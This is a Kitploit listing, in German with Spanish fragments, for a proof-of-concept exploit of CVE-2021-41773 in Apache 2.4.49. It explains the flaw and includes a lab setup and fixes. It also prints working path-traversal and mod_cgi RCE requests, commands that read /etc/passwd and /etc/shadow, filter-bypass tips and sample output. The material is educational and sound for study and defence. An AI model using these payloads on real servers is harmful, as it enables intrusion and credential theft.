Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-41773 — Prueba de concepto de CVE-2021-41773 | Kitploit
Tools/GitHubGitHub/joapath/cve-2021-41773
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubjoapath/cve-2021-41773

CVE-2021-41773

Prueba de concepto de CVE-2021-41773

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-41773 — PoC: Path Traversal + RCE via mod_cgi

Nur für den Einsatz in kontrollierten und eigenen Umgebungen. Nicht gegen Systeme ohne Autorisierung verwenden.


Beschreibung

PoC entwickelt, um die Schwachstelle CVE-2021-41773 in Apache HTTP Server 2.4.49 zu demonstrieren und zu verstehen.

Der Fehler liegt in der Funktion ap_normalize_path(), die URL-kodierte Zeichen nicht korrekt validierte. Dies ermöglichte einem Angreifer, durch eine Folge kodierter Zeichen (%2e%2e%2f anstelle von ../) aus dem DocumentRoot auszubrechen und beliebige Dateien auf dem System zu lesen.

Wenn das Modul mod_cgi aktiviert war, eskalierte die Schwachstelle zu RCE (Remote Code Execution), wodurch Befehle direkt auf dem Server mit den Berechtigungen des Apache-Prozesses ausgeführt werden konnten.


Erforderliche Bedingungen für die Ausnutzung

Der Server muss alle diese Bedingungen erfüllen, um verwundbar zu sein:

BedingungDetail
Apache-VersionGenau 2.4.49
ZugriffsrichtlinieRequire all granted in der Konfiguration
CGI-Modulmod_cgi aktiviert (nur für RCE)

Wie der Angriff funktioniert

Phase 1 – Path Traversal

Apache 2.4.49 filterte das klassische ../, aber nicht die URL-kodierte Version. Der Angreifer erstellt einen Pfad, den der Filter nicht erkennt, den das Betriebssystem jedoch korrekt interpretiert:

root@kitploit:~
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

%2e%2e%2f ist die URL-Kodierung von ../. Apache ließ es passieren, das Betriebssystem löste es auf, und das Ergebnis war der Zugriff auf Dateien außerhalb des Webverzeichnisses.

Phase 2 – RCE via mod_cgi

Mit aktivem mod_cgi wird das Path Traversal verwendet, um auf /bin/sh anstatt auf eine Datei zu zielen. Apache behandelt es als CGI-Skript und führt es aus. Der Befehl wird im POST-Body als minimales Shell-Skript übertragen:

root@kitploit:~
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh

#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1

Die Ausgabe des Befehls erscheint in der HTTP-Antwort.


Testumgebung

Die sauberste Methode, die Schwachstelle zu reproduzieren, ist mit Docker:

root@kitploit:~
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773

Oder mit einem manuellen Apache 2.4.49-Image mit der verwundbaren Konfiguration:

root@kitploit:~
<Directory />
    Require all granted
</Directory>

Ich werde die Konfigurationsdateien hinterlassen, die ich für den Test verwendet habe.


Technische Entscheidungen für den Exploit

  • Warum 'urllib3' und nicht 'requests'?

    requests kodiert die Zeichen des Pfades vor dem Senden automatisch neu. Das zerstört das Payload, da der Server %252e anstelle von %2e erhält. urllib3 erlaubt es, den Pfad unverändert zu senden.

  • Warum .%2e/ und nicht %2e%2e/?
    Apache filtert %2e%2e/ im Modul mod_rewrite. Die Variante .%2e/ ist semantisch äquivalent, passiert jedoch den Filter, da die Pfadnormalisierung nach der Validierung erfolgt.

Einschränkungen

  • Das Modul mod_cgi muss aktiviert sein, damit der RCE-Modus funktioniert. Ohne ihn ist nur Path Traversal möglich.
  • Der Exploit funktioniert nicht, wenn Apache hinter einer WAF steht, die doppelte Kodierung im Pfad filtert.
  • Nur gegen Apache 2.4.49 unter Linux getestet. Die Version 2.4.50 erfordert einen zusätzlichen Bypass (siehe CVE-2021-42013).

Verwendung des Skripts

root@kitploit:~
python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]

Argumente

Beispiele

Leer /etc/passwd del servidor

python PoC_2021-41773.py --target http://localhost:8080 --mode traversal

Ejecutar el comando 'id'

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id

Ejecutar un comando con espacios

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

Erwartete Ausgabe – Traversal-Modus

root@kitploit:~
=======================================================
  CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
  PoC con fines educativos — Solo en entornos propios
=======================================================

[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construida: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...

Servidor Vulnerable, Status code: 200
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Erwartete Ausgabe – RCE-Modus

root@kitploit:~
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...

[+] RCE confirmados

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Gegenmaßnahmen

  • Apache auf Version 2.4.51 oder höher aktualisieren.
  • Require all denied als Standardwert konfigurieren.
  • mod_cgi deaktivieren, wenn es nicht unbedingt erforderlich ist.

Referenzen

  • Rapid7 — CVE-2021-41773 Exploited in the Wild
  • Qualys — Path Traversal & RCE Analysis
  • NVD — CVE-2021-41773

⚠️ Dieses Repository dient ausschließlich zu Bildungszwecken.
Die Verwendung dieses Exploits gegen Systeme ohne ausdrückliche Autorisierung ist illegal.
Ausschließlich in kontrollierten lokalen Umgebungen getestet.


PoC entwickelt zu Bildungszwecken für ein Portfolio im Bereich offensive Sicherheit.

Tool herunterladen
ArgumentErforderlichBeschreibung
--targetJaBasis-URL des Servers (z.B. http://localhost:8080)
--modeJatraversal zum Lesen von Dateien, rce zum Ausführen von Befehlen
--cmdNeinIm Modus rce auszuführender Befehl (Standard: id)